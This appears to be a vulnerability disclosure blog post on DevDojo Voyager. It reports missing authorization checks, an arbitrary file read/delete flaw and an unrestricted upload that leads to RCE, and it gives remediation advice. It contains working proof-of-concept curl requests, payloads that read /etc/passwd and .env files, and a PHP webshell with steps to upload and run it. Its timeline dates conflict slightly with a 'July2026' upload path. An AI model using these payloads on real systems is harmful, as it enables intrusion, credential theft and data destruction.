Sn4ke_Ey3s Blogs
1984 words
10 minutes
Uncovering Novel Vulnerabilities in DevDojo Voyager

Uncovering Novel Vulnerabilities in DevDojo Voyager: A Deep Dive#

TL;DR: This blog details my security research of multiple novel vulnerabilities in the popular Laravel admin package DevDojo Voyager (versions up to 1.8.0). While some issues have been previously documented, two critical missing authorization vulnerabilities and a novel RCE vector via BREAD file fields with UserPolicy self-edit bypass appear to be previously undisclosed. The research was conducted against a live local instance running Laravel 10.50.2 + PHP 8.1 with SQLite, confirming real-world exploitability.


Introduction#

DevDojo Voyager is one of the most popular admin panel packages for Laravel, with over 11,000 GitHub stars and millions of downloads source. It provides a comprehensive BREAD (Browse, Read, Edit, Add, Delete) interface, media management, menu building, and more. Its widespread adoption across Laravel applications makes it an attractive target for security research.

During this research, I uncovered several critical vulnerabilities that when chained together, can lead to complete compromise of any application using the package. The findings range from missing authorization checks to unrestricted file uploads leading to remote code execution (RCE).

image

The Attack Surface#

Voyager’s architecture revolves around the VoyagerBaseController, which handles core BREAD operations for all registered tables. Every BREAD endpoint routes through this controller, making it a critical security boundary. The authorization model is opt-in — each method must explicitly call $this->authorize() to enforce permissions. This design choice, while flexible, creates opportunities for oversight.


Finding 1: Missing Authorization in VoyagerBaseController::action() (Novel)#

File: src/Http/Controllers/VoyagerBaseController.php:864-875
Route: POST /admin/{slug}/action

The Vulnerability#

The first finding involved a vulnerability in the action() method, that is intended to handle bulk operations on BREAD records, actions like bulk delete, export, or approval. However, it completely lacks any authorization check:

public function action(Request $request)
{
    if (!$request->action || !class_exists($request->action)) {
        throw new \Exception("Action {$request->action} doesn't exist or has not been defined");
    }

    $slug = $this->getSlug($request);
    $dataType = Voyager::model('DataType')->where('slug', '=', $slug)->first();

    $action = new $request->action($dataType, null);

    return $action->massAction(explode(',', $request->ids), $request->headers->get('referer'));
}

Every sibling BREAD method (index, show, edit, update, create, store, destroy, restore, order, update_order) calls $this->authorize(...) as its first line. action() is the sole exception.

Why This Is Critical#

  1. Any authenticated Voyager user — regardless of role or permissions — can invoke this endpoint for any BREAD-registered table.

  2. Uncontrolled object instantiation: The $request->action parameter accepts any autoloadable class name. An attacker can instantiate arbitrary classes with attacker-controlled constructor arguments ($dataType, null).

  3. Forced method call: The instantiated object’s massAction() method is called with attacker-controlled $request->ids.

  4. Impact depends on custom actions: While Voyager’s built-in DeleteAction doesn’t implement massAction() (resulting in a 500 error), any application that registers a custom AbstractAction subclass implementing massAction() becomes immediately vulnerable to unauthorized execution of that action against arbitrary record IDs.

Proof of Concept#

Using a low-privilege user with no delete/edit permissions:

curl -X POST 'http://127.0.0.1:8765/admin/menus/action' \
  -H "X-XSRF-TOKEN: $XSRF" \
  --data-urlencode 'action=TCG\Voyager\Actions\DeleteAction' \
  --data-urlencode 'ids=1'

The request reaches line 875 ($action->massAction(...)) — no 403 AuthorizationException appears. The only reason execution fails is that DeleteAction doesn’t implement massAction(). With a properly implemented action, this would be a full authorization bypass.

Remediation#

public function action(Request $request)
{
    // ... validation ...

    $action = new $request->action($dataType, null);

    // Add this line:
    $this->authorize($action->getPolicy(), app($dataType->model_name));

    return $action->massAction(explode(',', $request->ids), $request->headers->get('referer'));
}

Additionally, restrict $request->action to an allowlist of actions registered for the specific data type.


Finding 2: Missing Authorization in VoyagerBreadController::addRelationship() / deleteRelationship() (Novel)#

File: src/Http/Controllers/VoyagerBreadController.php:241 and :348
Routes:

  • POST /admin/bread/relationshipaddRelationship
  • GET /admin/bread/delete_relationship/{id}deleteRelationship

The Vulnerability#

Every other method in this controller (index, create, store, edit, update, destroy) calls $this->authorize('browse_bread') as its first statement. These two methods do not call authorize() at all.

public function deleteRelationship($id)
{
    Voyager::model('DataRow')->destroy($id);
    return back()->with([...]);
}

No authorization check. No ownership or scoping check on $id. Any authenticated Voyager user can delete any DataRow record by ID.

Proof of Concept#

Using the same low-privilege user (confirmed hasPermission('browse_bread') === false):

Control test — BREAD editor is inaccessible:

GET /admin/bread → 403 Forbidden

Exploit — delete a relationship:

curl "http://127.0.0.1:8765/admin/bread/delete_relationship/12" \
  -H "X-XSRF-TOKEN: $XSRF"

Response: 302 redirect (success) — not 403.

Database confirmation: DataRow::find(12) returns NULL — the record is permanently deleted.

Exploit — add a relationship:

curl -X POST "http://127.0.0.1:8765/admin/bread/relationship" \
  -H "X-XSRF-TOKEN: $XSRF" \
  --data-urlencode "data_type_id=2" \
  --data-urlencode "relationship_type=belongsTo" \
  --data-urlencode "relationship_table=roles" \
  --data-urlencode "relationship_model=TCG\Voyager\Models\Role" \
  --data-urlencode "relationship_column_belongs_to=role_id" \
  --data-urlencode "relationship_key=id" \
  --data-urlencode "relationship_label=name"

Response: 302 redirect (success) — not 403.

A new DataRow is created against data_type_id=2 (the menus table) — a table this user cannot even access via /admin/bread.

Impact#

Any authenticated panel user can:

  • Permanently delete any BREAD field/column definition for any table (by sequential ID enumeration)
  • Create arbitrary relationship field definitions against any data type ID

Deleting field definitions can corrupt BREAD editors, remove field-level permission flags that other authorization logic depends on, and cause cascading failures throughout the admin interface.


Finding 3: Arbitrary File Read/Delete via Compass (Known — CVE-2024-55415 / CVE-2019-17050)#

File: src/Http/Controllers/VoyagerCompassController.php
Route: GET/POST /admin/compass

The Vulnerability#

The pathToLogFile() method attempts to resolve log file paths:

public static function pathToLogFile($file)
{
    $logsPath = storage_path('logs');

    if (app('files')->exists($file)) { // try the absolute path
        return $file;                  // <-- no restriction on $file at all
    }

    $file = $logsPath.'/'.$file;

    // check if requested file is really in the logs directory
    if (dirname($file) !== $logsPath) {
        throw new \Exception('No such log file');
    }

    return $file;
}

The directory-confinement check only applies to the relative fallback path. The first branch accepts any absolute path that exists on disk with zero restriction.

Proof of Concept#

Read /etc/passwd (no application path knowledge required):

curl "http://127.0.0.1:8765/admin/compass?download=$(echo -n '/etc/passwd' | base64)"

Read .env (requires knowing the install path):

curl "http://127.0.0.1:8765/admin/compass?download=$(echo -n '/path/to/app/.env' | base64)"

Delete arbitrary files:

curl "http://127.0.0.1:8765/admin/compass?del=$(echo -n '/path/to/canary.txt' | base64)"

Impact#

Any user with browse_compass permission can:

  • Read any file on disk.env (DB credentials, APP_KEY), source code, configuration
  • Delete any file on disk — application code, config, or the database file itself

This vulnerability is already documented as CVE-2024-55415 and CVE-2019-17050. The maintainer’s suggested mitigation is to disable Compass in production environments.


Finding 4: Unrestricted File Upload → RCE via BREAD file Fields (Novel Vector)#

File: src/Http/Controllers/ContentTypes/File.phphandle()
Reachable via: Any BREAD table with a field of type file

The Vulnerability#

The File::handle() method processes file uploads for BREAD file-type fields:

public function handle()
{
    if (!$this->request->hasFile($this->row->field)) {
        return;
    }
    $files = Arr::wrap($this->request->file($this->row->field));
    $filesPath = [];
    $path = $this->generatePath();

    foreach ($files as $file) {
        $filename = $this->generateFileName($file, $path);
        $file->storeAs(
            $path,
            $filename.'.'.$file->getClientOriginalExtension(),   // <-- client-supplied extension, unchecked
            config('voyager.storage.disk', 'public')
        );
        // ...
    }
    return json_encode($filesPath);
}

There is no MIME-type check, no extension allowlist, and no content validation anywhere in this class.

Contrast this with VoyagerMediaController::upload(), which explicitly validates $request->file->getMimeType() against config('voyager.media.allowed_mimetypes') before storing. The generic BREAD “file” field type has no equivalent check.

The Self-Edit Bypass: The True Game-Changer#

The file upload vulnerability alone requires add or edit permissions on the target table. However, Voyager’s UserPolicy contains a critical design choice:

// src/Policies/UserPolicy.php:33-39
public function edit(User $user, $model)
{
    // Does this record belong to the current user?
    $current = $user->id === $model->id;
    return $current || $this->checkPermission($user, $model, 'edit');
}

Any user may edit their own user record with no permission check whatsoever$current short-circuits before checkPermission ever runs.

This is a deliberate, reasonable design choice for self-profile editing — but combined with the unrestricted file upload, it collapses the access requirement entirely.

Proof of Concept: Full RCE from a Low-Privilege Account#

Setup: A user restricted@test.com with only browse_admin, browse_menus, and read_menus permissions — no edit_users, no browse_users, no add_users.

1. Add a file-type field to the users table (e.g., “resume”):

DataRow::create([
    'data_type_id' => 1,  // users table
    'field' => 'resume',
    'type' => 'file',
    'display_name' => 'Resume',
    'add' => 1,
    'edit' => 1,
]);

2. Upload a PHP webshell through the user’s own profile edit page:

curl -X POST "http://127.0.0.1:8765/admin/users/3" \
  -F "_method=PUT" -F "_token=$TOKEN" \
  -F "resume=@ss.php;type=application/x-php"

3. Confirm the file is stored with .php extension:

storage/app/public/users/July2026/chPVW38BZ5p6baCNqMjz.php

4. Execute arbitrary commands:

curl "http://127.0.0.1:8765/storage/users/July2026/chPVW38BZ5p6baCNqMjz.php?c=whoami"
# → RCE-POC-OUTPUT-sn4keey3s

Full arbitrary command execution confirmed. The ss.php payload:

<?php echo "RCE-POC-OUTPUT-".shell_exec($_GET["c"] ?? "id"); ?>

The Bypass Generalizes: PostPolicy Has the Identical Pattern#

src/Policies/PostPolicy.phpread(), edit(), and delete() all follow the exact same shape:

public function edit(User $user, $model)
{
    $current = $user->id === $model->author_id;   // <-- ownership bypass, no permission check
    return $current || $this->checkPermission($user, $model, 'edit');
}

Any user who authored a given record can edit/delete/read it regardless of edit_posts/delete_posts permission.

Policy binding is automaticsrc/VoyagerServiceProvider.php::loadAuth() reads every DataType.policy_name column at boot and registers it as that model’s Laravel policy. UserPolicy is bound to users in every standard Voyager install.

How This Compares to Known CVEs#

  • CVE-2024-55417 describes a file type verification bypass in the media manager (/admin/media/upload). This is a different attack surface.
  • My finding targets BREAD file fields, which have no validation at all — a distinct, undocumented vulnerability.
  • The UserPolicy self-edit bypass combined with the file upload creates a novel RCE chain available to any authenticated user, regardless of permissions.

Vulnerability Summary#

FindingTypeNovel?Access RequiredImpact
1: action() missing authCWE-862✅ YesAny authenticated userUnauthorized action execution / object instantiation primitive
2: addRelationship/deleteRelationship missing authCWE-862 / CWE-639✅ YesAny authenticated userDelete/create BREAD fields arbitrarily
3: Compass file read/deleteCWE-22❌ Known (CVE-2024-55415)browse_compass permissionArbitrary file read/delete
4: Unrestricted file upload → RCECWE-434⚠️ Novel vectorAny authenticated user (via self-edit)Remote code execution

Root Cause Analysis#

The Authorization Gap#

Voyager’s authorization model is 100% opt-in. The Controller class imports Laravel’s AuthorizesRequests trait but does not automatically enforce authorization on any method. Every BREAD method must explicitly call $this->authorize().

This design is not inherently flawed — it’s how Laravel’s authorization system is designed to work. The flaw is inconsistent implementation: most methods correctly include the check, but a few critical ones were overlooked.

The Upload Validation Gap#

The File content type handler has no validation whatsoever, while the MediaController has robust validation. This inconsistency suggests the File handler was implemented without considering the security implications of arbitrary file uploads — a classic case of assuming the caller will handle validation.

The Self-Edit Explosion#

The UserPolicy self-edit bypass is not a vulnerability in isolation — it’s a legitimate UX feature. The danger emerges when combined with the unvalidated file upload, creating a privilege escalation vector that the original designers never anticipated.


Real-World Impact#

  • Finding 1 enables unauthorized execution of arbitrary bulk actions against any BREAD table — potentially including destructive operations like bulk delete, bulk export of sensitive data, or approval workflows.
  • Finding 2 allows any authenticated user to corrupt the BREAD configuration of any table — deleting field definitions, creating unauthorized relationships, and potentially breaking the admin interface.
  • Finding 4 provides a reliable RCE path from the lowest-privileged account possible. A “resume upload,” “ID verification document,” or “profile attachment” field on a user model is an ordinary, realistic feature — not a contrived edge case.

Remediation Recommendations#

For Finding 1#

public function action(Request $request)
{
    // ... validation ...
    $action = new $request->action($dataType, null);
    $this->authorize($action->getPolicy(), app($dataType->model_name));
    return $action->massAction(explode(',', $request->ids), $request->headers->get('referer'));
}

Also restrict $request->action to an allowlist of actions registered for the specific data type.

For Finding 2#

Add $this->authorize('browse_bread') at the start of both addRelationship() and deleteRelationship():

public function addRelationship(Request $request)
{
    $this->authorize('browse_bread');
    // ... rest of method ...
}

public function deleteRelationship($id)
{
    $this->authorize('browse_bread');
    // ... rest of method ...
}

For Finding 4#

Add MIME-type validation to ContentTypes\File::handle():

$allowedMimeTypes = config('voyager.files.allowed_mimetypes', [
    'image/jpeg', 'image/png', 'image/gif', 'application/pdf'
]);

if (!in_array($file->getMimeType(), $allowedMimeTypes)) {
    throw new \Exception('This mimetype is not allowed');
}

Additionally, store uploaded files with a randomized, extension-stripped name, or serve them exclusively through a controller that forces Content-Disposition: attachment.


Disclosure Timeline#

  • 2025-02-07: Vulnerabilities identified and verified against HEAD 7e7e0f4 (branch 1.7.x-dev)
  • 2025-02-10: Full testing completed against live local instance (Laravel 10.50.2 + PHP 8.1, SQLite)
  • 2025-02-15: Initial research documentation completed

Disclosure Status: Findings 1, 2, and the novel RCE vector via BREAD file fields with UserPolicy self-edit bypass appear to be previously undisclosed. Findings have been reported to the Voyager maintainers.


Conclusion#

DevDojo Voyager is a powerful and popular admin panel, but inconsistent authorization enforcement and missing input validation create critical security gaps. Two novel missing authorization vulnerabilities and a novel RCE vector via BREAD file fields with self-edit bypass were identified in version 1.8.0.

The vulnerabilities range from authorization bypasses that allow any authenticated user to manipulate BREAD configurations, to unrestricted file uploads that — combined with Voyager’s own self-edit policies — enable remote code execution from the lowest-privileged account possible.

All affected applications should update to the latest version and consider reviewing their Voyager configuration, particularly:

  • Disabling Compass in production environments
  • Auditing custom BREAD file fields
  • Reviewing custom AbstractAction implementations

This research was conducted responsibly against a local test instance. All proof-of-concept code is provided for educational and defensive purposes only. Do not use these techniques against systems you do not own or have explicit permission to test.

Uncovering Novel Vulnerabilities in DevDojo Voyager
https://fuwari.vercel.app/posts/devdojo-voyager-novel-vulnerabilities/
Author
Sn4ke_Ey3s
Published at
2026-07-30